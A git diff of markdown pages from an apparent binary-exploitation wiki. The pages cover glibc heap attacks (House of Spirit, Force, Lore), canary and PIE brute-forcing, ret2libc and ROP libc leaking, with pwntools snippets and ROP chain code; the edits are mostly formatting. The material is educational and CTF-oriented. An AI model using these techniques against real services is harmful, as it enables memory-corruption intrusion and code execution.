al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). -Además, ese mismo trozo falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá. +Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. -Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. Otra forma de ataque es redirigir el **av** hacia la pila. -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index\(\) nos devolverá fastbins\[0\] y podemos hacer uso de esto para sobreescribir la pila. +Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. -El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. -En el **av->fastbins\[0\]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. -Además, en **av->system\_mem** \(1484bytes por encima de la posición en la pila\) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 \(como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso\). +Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante \(por ej, que el puntero esté en el stack debajo de un posible overflow a una variable\). +En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc\(\)+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc\(40\), el tamaño del trozo falso debe ser igual a 48. +Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes \(que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size\). Además, la dirección ptr-4+48 debe cumplir varias condiciones \(siendo en este caso ptr=EBP\), es decir, 8 < ptr-4+48 < av->system\_mem. +Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc\(40\) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. -Esto creo que es porque así cuando lo libere free\(\) guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc\(\) que se quiere reservar, así que le asigna esa dirección. +Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. **The House of Force** Es necesario: * Un overflow a un trozo que permita sobreescribir el wilderness -* Una llamada a malloc\(\) con el tamaño definido por el usuario -* Una llamada a malloc\(\) cuyos datos puedan ser definidos por el usuario +* Una llamada a malloc() con el tamaño definido por el usuario +* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande \(0xffffffff\), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc\(\) sin necesidad de expandir el heap +Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá &EIP - 8. +Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: -victim = av->top; +victim = av->top; -remainder = chunck\_at\_offset\(victim, nb\); +remainder = chunck_at_offset(victim, nb); -av->top = remainder; +av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual \(el actual av->top\) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc\(\). Por lo que si &EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc\(\) será: +Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc\(\). Es decir, si el wilderness está apuntando a &EIP-8, el size quedará justo en el campo EBP del stack. +Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. **The House of Lore** @@ -1002,41 +1006,41 @@ Es importante saber que el size del nuevo trozo wilderness sea más grande que l Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast \(72normalmente\) y menos a MIN\_LARGE\_SIZE \(512\). +Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; Se cierra la lista haciendo que este apunte a bin Se necesita: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin \(es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow\) +Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista \(el siguiente en ofrecer\) está en la dirección falsa que hayamos puesto \(al stack o GOT por ejemplo\). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. -Así el bin deberá esperar turno a que se llame a malloc\(\) suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo \(vulnerabilidad\), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma \(por el stack probablemente\) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. **Corrupción LargeBin** Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc\(\), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE \(la resta no puede quedar negativa porque se compara un unsigned\) +Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) Además se ha introducido un parche para hacerlo aún más complicado. @@ -1048,25 +1052,24 @@ Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. -**objdump -d ejecutable** —> Disas functions -**objdump -d ./PROGRAMA \| grep FUNCION** —> Get function address -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes -**objdump -t ./exec \| grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones -**objdump -TR ./exec \| grep exit\(func lib\)** —> Para sacar address de funciones de librerías \(GOT\) -**objdump -d ./exec \| grep funcCode -objdump -s -j .dtors /exec -objdump -s -j .got ./exec -objdump -t --dynamic-relo ./exec \| grep puts** —> Saca la dirección de puts a sobreescribir en le GOT -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt -**objdump -p -/exec -Info functions strncmp —>** Info de la función en gdb +**objdump -d ejecutable** —> Disas functions\ +**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ +**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ +**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ +**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d ./exec | grep funcCode**\ +**objdump -s -j .dtors /exec**\ +**objdump -s -j .got ./exec**\ +**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ +**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -p -/exec**\ +**Info functions strncmp —>** Info de la función en gdb ## Interesting courses -* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io/) +* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) ## **References** -* \*\*\*\*[**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)\*\*\*\* - +* \*\*\*\*[**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)\*\*\*\* diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index 51c983eb..489c4baa 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -1,19 +1,19 @@ # Bypassing Canary & PIE -**If you are facing a binary protected by a canary and PIE \(Position Independent Executable\) you probably need to find a way to bypass them.** +**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** -![](../../.gitbook/assets/image%20%28282%29.png) +![](<../../.gitbook/assets/image (144).png>) {% hint style="info" %} -Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function. +Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting. {% endhint %} ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it \(network service\), because every time you connect to it **the same canary will be used**. +The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary \(x64\)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server \(another way in **other situation** could be using a **try/except**\): +Then, the best way to bypass the canary is just to** brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64) **and distinguish between a correct guessed byte and a bad byte just **checking **if a **response **is sent back by the server (another way in **other situation **could be using a **try/except**): ### Example 1 @@ -60,8 +60,8 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ### Example 2 -This is implemented for 32 bits, but this could be easily changed to 64bits. -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. +This is implemented for 32 bits, but this could be easily changed to 64bits.\ +Also note that for this example the** program expected first a byte to indicate the size of the input **and the payload. ```python from pwn import * @@ -106,18 +106,18 @@ log.info(f"The canary is: {canary}") ## Print Canary -Another way to bypass the canary is to **print it**. -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** \(`\x00`\) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** \(except from the first null byte\). -With this info the attacker can **craft and send a new attack** knowing the canary \(in the same program session\) +Another way to bypass the canary is to **print it**.\ +Imagine a situation where a **program vulnerable **to stack overflow can execute a **puts** function **pointing **to **part **of the **stack overflow**. The attacker knows that the** first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random **bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ +Then, the attacker** calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ +With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload \(in the **same program session**\) and **send** the **real buffer overflow**. -CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) +Obviously, this tactic is very **restricted **as the attacker needs to be able to **print **the **content **of his **payload **to **exfiltrate **the **canary **and then be able to create a new payload (in the **same program session**) and **send **the **real buffer overflow**.\ +CTF example: [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17\_svc/index.html) ## PIE -In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function. -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes \(x64\) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ +For example, if a binary is protected using both a **canary **and **PIE**, you can start brute-forcing the canary, then the **next **8 Bytes (x64) will be the saved **RBP **and the **next **8 Bytes will be the saved **RIP.** To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: @@ -132,22 +132,21 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ### Get base address -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. +The last thing you need to defeat the PIE is to calculate** useful addresses from the leaked** addresses: the **RBP **and the **RIP**. -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: +From the **RBP **you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00" _inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP **an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: ```python INI_SHELLCODE = RBP - 1152 ``` -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**. +From the **RIP **you can calculate the** base address of the PIE binary **which is what you are going to need to create a **valid ROP chain**.\ To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: -![](../../.gitbook/assets/image%20%2818%29.png) +![](<../../.gitbook/assets/image (145).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf**_ the base address is _0x562002970**000**_ +In that example you can see that only **1 Byte and a half is needed **to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _the base address is _0x562002970**000**_ ```python elf.address = RIP - (RIP & 0xfff) ``` - diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index d802eb10..e35431ec 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -28,21 +28,21 @@ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` -### /proc/<PID>/maps +### /proc/\/maps -If the process is creating **children** every time you talk with it \(network server\) try to **read** that file \(probably you will need to be root\). +If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. -![](../../.gitbook/assets/image%20%2899%29.png) +![](<../../.gitbook/assets/image (95).png>) -In this case it is loaded in **0xb75dc000** \(This will be the base address of libc\) +In this case it is loaded in **0xb75dc000** (This will be the base address of libc) ### Using gdb-peda Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: -```text +``` p system p exit find "/bin/sh" @@ -73,4 +73,3 @@ for off in range(0xb7000000, 0xb8000000, 0x1000): c.send(payload) c.interactive() #? ``` - diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index 87af5489..a30daf83 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -2,15 +2,15 @@ ## Quick Resume -1. **Find** overflow **offset** -2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** \([donwload it](https://LIBC.blukat.me/)\) +1. **Find **overflow **offset** +2. **Find **`POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets +3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) 4. With the library, **calculate the ROP and exploit it** ## Other tutorials and binaries to practice -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/) -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19\_babyboi/index.html) ## Code @@ -34,14 +34,16 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ## ROP - Leaking LIBC template -I'm going to use the code located here to make the exploit. +I'm going to use the code located here to make the exploit.\ Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: -{% page-ref page="rop-leaking-libc-template.md" %} +{% content-ref url="rop-leaking-libc-template.md" %} +[rop-leaking-libc-template.md](rop-leaking-libc-template.md) +{% endcontent-ref %} ## 1- Finding the offset -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\): +The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): ```bash #################### @@ -58,23 +60,23 @@ if OFFSET == "": return ``` -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: +**Execute **`python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console **execute `x/wx $rsp` to get the **bytes **that were going to overwrite the RIP. Finally get the **offset **using a **python **console: ```python from pwn import * cyclic_find(0x6161616b) ``` -![](../../../.gitbook/assets/image%20%28188%29.png) +![](<../../../.gitbook/assets/image (140).png>) -After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value. +After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ `OFFSET = "A" * 40` Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. ## 2- Finding Gadgets -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc **being used, and later to **launch the final exploit**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts @@ -87,15 +89,15 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` -The `PUTS_PLT` is needed to call the **function puts**. -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\). **It is used at the end of each ROP to call the program again**. -The **POP\_RDI** is needed to **pass** a **parameter** to the called function. +The `PUTS_PLT `is needed to call the **function puts**.\ +The `MAIN_PLT` is needed to call the **main function **again after one interaction to **exploit **the overflow **again **(infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ +The **POP_RDI **is needed to **pass** a **parameter **to the called function. In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- Finding LIBC library -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +Now is time to find which version of the **libc **library is being used. To do so we are going to **leak **the **address **in memory of the **function **`puts`and then we are going to **search **in which **library version **the puts version is in that address. ```python def get_addr(func_name): @@ -132,26 +134,26 @@ To do so, the most important line of the executed code is: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`. -Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`. -After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**. +This will send some bytes util **overwriting **the **RIP **is possible: `OFFSET`.\ +Then, it will set the **address **of the gadget `POP_RDI `so the next address (`FUNC_GOT`) will be saved in the **RDI **registry. This is because we want to **call puts** **passing **it the **address **of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ +After that, `PUTS_PLT `will be called (with `PUTS_GOT `inside the **RDI**) so puts will **read the content** inside `PUTS_GOT `(**the address of puts function in memory**) and will **print it out**.\ Finally, **main function is called again** so we can exploit the overflow again. -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**. +This way we have **tricked puts function** to **print **out the **address **in **memory **of the function **puts **(which is inside **libc **library). Now that we have that address we can **search which libc version is being used**. -![](../../../.gitbook/assets/image%20%2881%29.png) +![](<../../../.gitbook/assets/image (141).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\). +As we are **exploiting **some **local **binary it is **not needed **to figure out which version of **libc **is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ But, in a remote exploit case I will explain here how can you find it: -### 3.1- Searching for libc version \(1\) +### 3.1- Searching for libc version (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/) +You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ It will also allow you to download the discovered version of **libc** -![](../../../.gitbook/assets/image%20%2816%29.png) +![](<../../../.gitbook/assets/image (142).png>) -### 3.2- Searching for libc version \(2\) +### 3.2- Searching for libc version (2) You can also do: @@ -159,23 +161,23 @@ You can also do: * `$ cd libc-database` * `$ ./get` -This will take some time, be patient. +This will take some time, be patient.\ For this to work we need: * Libc symbol name: `puts` * 